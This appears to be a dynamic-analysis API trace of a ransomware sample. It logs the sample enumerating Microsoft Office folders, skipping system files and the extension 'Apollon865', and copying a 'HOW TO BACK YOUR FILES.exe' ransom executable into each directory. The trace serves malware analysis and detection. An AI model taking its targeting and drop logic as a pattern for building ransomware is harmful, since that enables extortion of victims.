	[0071.299] lstrcmpiW (lpString1="AlertImage_ContactHigh.jpg", lpString2=".sys") returned 1
	[0071.299] lstrlenW (lpString="AlertImage_ContactHigh.jpg") returned 26
	[0071.299] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="AlertImage_ContactHighMask.bmp" | out: lpString1="AlertImage_ContactHighMask.bmp") returned="AlertImage_ContactHighMask.bmp"
	[0071.299] lstrlenW (lpString="AlertImage_ContactHighMask.bmp") returned 30
	[0071.299] lstrlenW (lpString="Apollon865") returned 10
	[0071.299] lstrcmpiW (lpString1="ghMask.bmp", lpString2="Apollon865") returned 1
	[0071.300] lstrlenW (lpString=".dll") returned 4
	[0071.300] lstrcmpiW (lpString1="AlertImage_ContactHighMask.bmp", lpString2=".dll") returned 1
	[0071.300] lstrlenW (lpString=".lnk") returned 4
	[0071.300] lstrcmpiW (lpString1="AlertImage_ContactHighMask.bmp", lpString2=".lnk") returned 1
	[0071.300] lstrlenW (lpString=".ini") returned 4
	[0071.300] lstrcmpiW (lpString1="AlertImage_ContactHighMask.bmp", lpString2=".ini") returned 1
	[0071.300] lstrlenW (lpString=".sys") returned 4
	[0071.300] lstrcmpiW (lpString1="AlertImage_ContactHighMask.bmp", lpString2=".sys") returned 1
	[0071.300] lstrlenW (lpString="AlertImage_ContactHighMask.bmp") returned 30
	[0071.300] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="AlertImage_ContactLow.jpg" | out: lpString1="AlertImage_ContactLow.jpg") returned="AlertImage_ContactLow.jpg"
	[0071.300] lstrlenW (lpString="AlertImage_ContactLow.jpg") returned 25
	[0071.300] lstrlenW (lpString="Apollon865") returned 10
	[0071.300] lstrcmpiW (lpString1="actLow.jpg", lpString2="Apollon865") returned -1
	[0071.300] lstrlenW (lpString=".dll") returned 4
	[0071.300] lstrcmpiW (lpString1="AlertImage_ContactLow.jpg", lpString2=".dll") returned 1
	[0071.300] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="AlertImage_ContactLowMask.bmp" | out: lpString1="AlertImage_ContactLowMask.bmp") returned="AlertImage_ContactLowMask.bmp"
	[0071.300] lstrlenW (lpString="AlertImage_ContactLowMask.bmp") returned 29
	[0071.300] lstrlenW (lpString="Apollon865") returned 10
	[0071.300] lstrcmpiW (lpString1="owMask.bmp", lpString2="Apollon865") returned 1
	[0071.300] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="AlertImage_FileHigh.jpg" | out: lpString1="AlertImage_FileHigh.jpg") returned="AlertImage_FileHigh.jpg"
	[0071.300] lstrlenW (lpString="AlertImage_FileHigh.jpg") returned 23
	[0071.300] lstrlenW (lpString="Apollon865") returned 10
	[0071.300] lstrcmpiW (lpString1="leHigh.jpg", lpString2="Apollon865") returned 1
	[0071.300] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="AlertImage_FileHighMask.bmp" | out: lpString1="AlertImage_FileHighMask.bmp") returned="AlertImage_FileHighMask.bmp"
	[0071.300] lstrlenW (lpString="AlertImage_FileHighMask.bmp") returned 27
	[0071.300] lstrlenW (lpString="Apollon865") returned 10
	[0071.300] lstrcmpiW (lpString1="ghMask.bmp", lpString2="Apollon865") returned 1
	[0071.301] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="AlertImage_FileOff.jpg" | out: lpString1="AlertImage_FileOff.jpg") returned="AlertImage_FileOff.jpg"
	[0071.301] lstrlenW (lpString="AlertImage_FileOff.jpg") returned 22
	[0071.301] lstrlenW (lpString="Apollon865") returned 10
	[0071.301] lstrcmpiW (lpString1="ileOff.jpg", lpString2="Apollon865") returned 1
	[0071.301] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="AlertImage_FileOffMask.bmp" | out: lpString1="AlertImage_FileOffMask.bmp") returned="AlertImage_FileOffMask.bmp"
	[0071.301] lstrlenW (lpString="AlertImage_FileOffMask.bmp") returned 26
	[0071.301] lstrlenW (lpString="Apollon865") returned 10
	[0071.301] lstrcmpiW (lpString1="ffMask.bmp", lpString2="Apollon865") returned 1
	[0071.301] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="AlertImage_High.jpg" | out: lpString1="AlertImage_High.jpg") returned="AlertImage_High.jpg"
	[0071.301] lstrlenW (lpString="AlertImage_High.jpg") returned 19
	[0071.301] lstrlenW (lpString="Apollon865") returned 10
	[0071.301] lstrcmpiW (lpString1="e_High.jpg", lpString2="Apollon865") returned 1
	[0071.301] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="AlertImage_HighMask.bmp" | out: lpString1="AlertImage_HighMask.bmp") returned="AlertImage_HighMask.bmp"
	[0071.301] lstrlenW (lpString="AlertImage_HighMask.bmp") returned 23
	[0071.301] lstrlenW (lpString="Apollon865") returned 10
	[0071.301] lstrcmpiW (lpString1="ghMask.bmp", lpString2="Apollon865") returned 1
	[0071.301] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="AlertImage_Medium.jpg" | out: lpString1="AlertImage_Medium.jpg") returned="AlertImage_Medium.jpg"
	[0071.301] lstrlenW (lpString="AlertImage_Medium.jpg") returned 21
	[0071.301] lstrlenW (lpString="Apollon865") returned 10
	[0071.301] lstrcmpiW (lpString1="Medium.jpg", lpString2="Apollon865") returned 1
	[0071.301] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="AlertImage_MediumMAsk.bmp" | out: lpString1="AlertImage_MediumMAsk.bmp") returned="AlertImage_MediumMAsk.bmp"
	[0071.301] lstrlenW (lpString="AlertImage_MediumMAsk.bmp") returned 25
	[0071.301] lstrlenW (lpString="Apollon865") returned 10
	[0071.301] lstrcmpiW (lpString1="umMAsk.bmp", lpString2="Apollon865") returned 1
	[0071.302] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="AlertImage_Off.jpg" | out: lpString1="AlertImage_Off.jpg") returned="AlertImage_Off.jpg"
	[0071.302] lstrlenW (lpString="AlertImage_Off.jpg") returned 18
	[0071.302] lstrlenW (lpString="Apollon865") returned 10
	[0071.302] lstrcmpiW (lpString1="ge_Off.jpg", lpString2="Apollon865") returned 1
	[0071.302] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="AlertImage_OffMask.bmp" | out: lpString1="AlertImage_OffMask.bmp") returned="AlertImage_OffMask.bmp"
	[0071.302] lstrlenW (lpString="AlertImage_OffMask.bmp") returned 22
	[0071.302] lstrlenW (lpString="Apollon865") returned 10
	[0071.302] lstrcmpiW (lpString1="ffMask.bmp", lpString2="Apollon865") returned 1
	[0071.302] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="CommsIncomingImage.jpg" | out: lpString1="CommsIncomingImage.jpg") returned="CommsIncomingImage.jpg"
	[0071.302] lstrlenW (lpString="CommsIncomingImage.jpg") returned 22
	[0071.302] lstrlenW (lpString="Apollon865") returned 10
	[0071.302] lstrcmpiW (lpString1="gImage.jpg", lpString2="Apollon865") returned 1
	[0071.302] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="CommsIncomingImageMask.bmp" | out: lpString1="CommsIncomingImageMask.bmp") returned="CommsIncomingImageMask.bmp"
	[0071.302] lstrlenW (lpString="CommsIncomingImageMask.bmp") returned 26
	[0071.302] lstrlenW (lpString="Apollon865") returned 10
	[0071.302] lstrcmpiW (lpString1="geMask.bmp", lpString2="Apollon865") returned 1
	[0071.302] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="CommsIncomingImageMaskSmall.bmp" | out: lpString1="CommsIncomingImageMaskSmall.bmp") returned="CommsIncomingImageMaskSmall.bmp"
	[0071.302] lstrlenW (lpString="CommsIncomingImageMaskSmall.bmp") returned 31
	[0071.302] lstrlenW (lpString="Apollon865") returned 10
	[0071.302] lstrcmpiW (lpString1="kSmall.bmp", lpString2="Apollon865") returned 1
	[0071.302] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="CommsIncomingImageSmall.jpg" | out: lpString1="CommsIncomingImageSmall.jpg") returned="CommsIncomingImageSmall.jpg"
	[0071.302] lstrlenW (lpString="CommsIncomingImageSmall.jpg") returned 27
	[0071.302] lstrlenW (lpString="Apollon865") returned 10
	[0071.302] lstrcmpiW (lpString1="eSmall.jpg", lpString2="Apollon865") returned 1
	[0071.303] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="CommsOutgoingImage.jpg" | out: lpString1="CommsOutgoingImage.jpg") returned="CommsOutgoingImage.jpg"
	[0071.303] lstrlenW (lpString="CommsOutgoingImage.jpg") returned 22
	[0071.303] lstrlenW (lpString="Apollon865") returned 10
	[0071.303] lstrcmpiW (lpString1="gImage.jpg", lpString2="Apollon865") returned 1
	[0071.303] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="CommsOutgoingImageMask.bmp" | out: lpString1="CommsOutgoingImageMask.bmp") returned="CommsOutgoingImageMask.bmp"
	[0071.303] lstrlenW (lpString="CommsOutgoingImageMask.bmp") returned 26
	[0071.303] lstrlenW (lpString="Apollon865") returned 10
	[0071.303] lstrcmpiW (lpString1="geMask.bmp", lpString2="Apollon865") returned 1
	[0071.303] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="CommsOutgoingImageMaskSmall.bmp" | out: lpString1="CommsOutgoingImageMaskSmall.bmp") returned="CommsOutgoingImageMaskSmall.bmp"
	[0071.303] lstrlenW (lpString="CommsOutgoingImageMaskSmall.bmp") returned 31
	[0071.303] lstrlenW (lpString="Apollon865") returned 10
	[0071.303] lstrcmpiW (lpString1="kSmall.bmp", lpString2="Apollon865") returned 1
	[0071.303] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="CommsOutgoingImageSmall.jpg" | out: lpString1="CommsOutgoingImageSmall.jpg") returned="CommsOutgoingImageSmall.jpg"
	[0071.303] lstrlenW (lpString="CommsOutgoingImageSmall.jpg") returned 27
	[0071.303] lstrlenW (lpString="Apollon865") returned 10
	[0071.303] lstrcmpiW (lpString1="eSmall.jpg", lpString2="Apollon865") returned 1
	[0071.303] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="MessageBoxIconImages.jpg" | out: lpString1="MessageBoxIconImages.jpg") returned="MessageBoxIconImages.jpg"
	[0071.303] lstrlenW (lpString="MessageBoxIconImages.jpg") returned 24
	[0071.303] lstrlenW (lpString="Apollon865") returned 10
	[0071.303] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0071.303] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="MessageBoxIconImagesMask.bmp" | out: lpString1="MessageBoxIconImagesMask.bmp") returned="MessageBoxIconImagesMask.bmp"
	[0071.303] lstrlenW (lpString="MessageBoxIconImagesMask.bmp") returned 28
	[0071.303] lstrlenW (lpString="Apollon865") returned 10
	[0071.303] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0071.304] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="UnreadIcon.jpg" | out: lpString1="UnreadIcon.jpg") returned="UnreadIcon.jpg"
	[0071.304] lstrlenW (lpString="UnreadIcon.jpg") returned 14
	[0071.304] lstrlenW (lpString="Apollon865") returned 10
	[0071.304] lstrcmpiW (lpString1="adIcon.jpg", lpString2="Apollon865") returned -1
	[0071.304] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="UnreadIconImages.jpg" | out: lpString1="UnreadIconImages.jpg") returned="UnreadIconImages.jpg"
	[0071.304] lstrlenW (lpString="UnreadIconImages.jpg") returned 20
	[0071.304] lstrlenW (lpString="Apollon865") returned 10
	[0071.304] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0071.304] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="UnreadIconImagesMask.bmp" | out: lpString1="UnreadIconImagesMask.bmp") returned="UnreadIconImagesMask.bmp"
	[0071.304] lstrlenW (lpString="UnreadIconImagesMask.bmp") returned 24
	[0071.304] lstrlenW (lpString="Apollon865") returned 10
	[0071.304] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0071.304] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar"
	[0071.304] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafd0 | out: hHeap=0x580000) returned 1
	[0071.304] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0071.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar") returned 78
	[0071.304] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar"
	[0071.304] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.304] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.310] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.310] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42923fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42923fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.310] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.310] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.310] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0071.310] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42923fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42923fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.310] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.310] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0071.310] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0071.310] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0071.310] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b62000, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4b62000, ftLastWriteTime.dwHighDateTime=0x1ca0408, nFileSizeHigh=0x0, nFileSizeLow=0x3424, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg", cAlternateFileName="CALEND~1.JPG")) returned 1
	[0071.310] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.310] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0071.310] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2=".") returned 1
	[0071.310] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="..") returned 1
	[0071.310] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="windows") returned -1
	[0071.310] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="bootmgr") returned 1
	[0071.310] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="temp") returned -1
	[0071.310] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="pagefile.sys") returned -1
	[0071.310] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="boot") returned 1
	[0071.310] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="ids.txt") returned -1
	[0071.311] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="ntuser.dat") returned -1
	[0071.311] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="perflogs") returned -1
	[0071.311] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="MSBuild") returned -1
	[0071.311] lstrlenW (lpString="CalendarToolIconImages.jpg") returned 26
	[0071.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*") returned 80
	[0071.311] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="CalendarToolIconImages.jpg" | out: lpString1="CalendarToolIconImages.jpg") returned="CalendarToolIconImages.jpg"
	[0071.311] lstrlenW (lpString="CalendarToolIconImages.jpg") returned 26
	[0071.311] lstrlenW (lpString="Apollon865") returned 10
	[0071.311] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0071.311] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="CalendarToolIconImagesMask.bmp" | out: lpString1="CalendarToolIconImagesMask.bmp") returned="CalendarToolIconImagesMask.bmp"
	[0071.311] lstrlenW (lpString="CalendarToolIconImagesMask.bmp") returned 30
	[0071.311] lstrlenW (lpString="Apollon865") returned 10
	[0071.311] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0071.311] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="CalendarViewButtonImages.jpg" | out: lpString1="CalendarViewButtonImages.jpg") returned="CalendarViewButtonImages.jpg"
	[0071.311] lstrlenW (lpString="CalendarViewButtonImages.jpg") returned 28
	[0071.311] lstrlenW (lpString="Apollon865") returned 10
	[0071.311] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0071.311] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="GlobeButtonImage.jpg" | out: lpString1="GlobeButtonImage.jpg") returned="GlobeButtonImage.jpg"
	[0071.311] lstrlenW (lpString="GlobeButtonImage.jpg") returned 20
	[0071.311] lstrlenW (lpString="Apollon865") returned 10
	[0071.311] lstrcmpiW (lpString1="nImage.jpg", lpString2="Apollon865") returned 1
	[0071.311] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="GlobeButtonImageMask.bmp" | out: lpString1="GlobeButtonImageMask.bmp") returned="GlobeButtonImageMask.bmp"
	[0071.311] lstrlenW (lpString="GlobeButtonImageMask.bmp") returned 24
	[0071.311] lstrlenW (lpString="Apollon865") returned 10
	[0071.311] lstrcmpiW (lpString1="geMask.bmp", lpString2="Apollon865") returned 1
	[0071.312] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs"
	[0071.312] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0071.312] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0071.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned 58
	[0071.312] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs"
	[0071.312] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.312] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.318] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.318] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4294a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4294a110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.318] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.318] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.318] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0071.318] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4294a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4294a110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.319] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.319] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0071.319] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0071.320] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0071.320] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7093c400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7093c400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14c9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg", cAlternateFileName="CALEND~1.JPG")) returned 1
	[0071.320] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.320] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0071.320] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2=".") returned 1
	[0071.320] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="..") returned 1
	[0071.320] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="windows") returned -1
	[0071.320] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="bootmgr") returned 1
	[0071.320] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="temp") returned -1
	[0071.320] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="pagefile.sys") returned -1
	[0071.320] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="boot") returned 1
	[0071.320] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="ids.txt") returned -1
	[0071.320] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="ntuser.dat") returned -1
	[0071.320] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="perflogs") returned -1
	[0071.320] lstrcmpiW (lpString1="CalendarToolIconImages.jpg", lpString2="MSBuild") returned -1
	[0071.320] lstrlenW (lpString="CalendarToolIconImages.jpg") returned 26
	[0071.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*") returned 60
	[0071.320] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="CalendarToolIconImages.jpg" | out: lpString1="CalendarToolIconImages.jpg") returned="CalendarToolIconImages.jpg"
	[0071.320] lstrlenW (lpString="CalendarToolIconImages.jpg") returned 26
	[0071.320] lstrlenW (lpString="Apollon865") returned 10
	[0071.320] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0071.320] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="CalendarToolIconImagesMask.bmp" | out: lpString1="CalendarToolIconImagesMask.bmp") returned="CalendarToolIconImagesMask.bmp"
	[0071.320] lstrlenW (lpString="CalendarToolIconImagesMask.bmp") returned 30
	[0071.320] lstrlenW (lpString="Apollon865") returned 10
	[0071.320] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0071.320] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="ChessIconImages.bmp" | out: lpString1="ChessIconImages.bmp") returned="ChessIconImages.bmp"
	[0071.320] lstrlenW (lpString="ChessIconImages.bmp") returned 19
	[0071.320] lstrlenW (lpString="Apollon865") returned 10
	[0071.320] lstrcmpiW (lpString1="Images.bmp", lpString2="Apollon865") returned 1
	[0071.321] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="ChessIconImagesMask.bmp" | out: lpString1="ChessIconImagesMask.bmp") returned="ChessIconImagesMask.bmp"
	[0071.321] lstrlenW (lpString="ChessIconImagesMask.bmp") returned 23
	[0071.321] lstrlenW (lpString="Apollon865") returned 10
	[0071.321] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0071.321] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="CreateSpaceImage.jpg" | out: lpString1="CreateSpaceImage.jpg") returned="CreateSpaceImage.jpg"
	[0071.321] lstrlenW (lpString="CreateSpaceImage.jpg") returned 20
	[0071.321] lstrlenW (lpString="Apollon865") returned 10
	[0071.321] lstrcmpiW (lpString1="eImage.jpg", lpString2="Apollon865") returned 1
	[0071.321] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="CreateSpaceImageMask.bmp" | out: lpString1="CreateSpaceImageMask.bmp") returned="CreateSpaceImageMask.bmp"
	[0071.321] lstrlenW (lpString="CreateSpaceImageMask.bmp") returned 24
	[0071.321] lstrlenW (lpString="Apollon865") returned 10
	[0071.321] lstrcmpiW (lpString1="geMask.bmp", lpString2="Apollon865") returned 1
	[0071.321] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="DataListIconImages.jpg" | out: lpString1="DataListIconImages.jpg") returned="DataListIconImages.jpg"
	[0071.321] lstrlenW (lpString="DataListIconImages.jpg") returned 22
	[0071.321] lstrlenW (lpString="Apollon865") returned 10
	[0071.321] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0071.321] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="DataListIconImagesMask.bmp" | out: lpString1="DataListIconImagesMask.bmp") returned="DataListIconImagesMask.bmp"
	[0071.321] lstrlenW (lpString="DataListIconImagesMask.bmp") returned 26
	[0071.321] lstrlenW (lpString="Apollon865") returned 10
	[0071.321] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0071.321] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="DataViewIconImages.jpg" | out: lpString1="DataViewIconImages.jpg") returned="DataViewIconImages.jpg"
	[0071.321] lstrlenW (lpString="DataViewIconImages.jpg") returned 22
	[0071.322] lstrlenW (lpString="Apollon865") returned 10
	[0071.322] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0071.322] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="DataViewIconImagesMask.bmp" | out: lpString1="DataViewIconImagesMask.bmp") returned="DataViewIconImagesMask.bmp"
	[0071.322] lstrlenW (lpString="DataViewIconImagesMask.bmp") returned 26
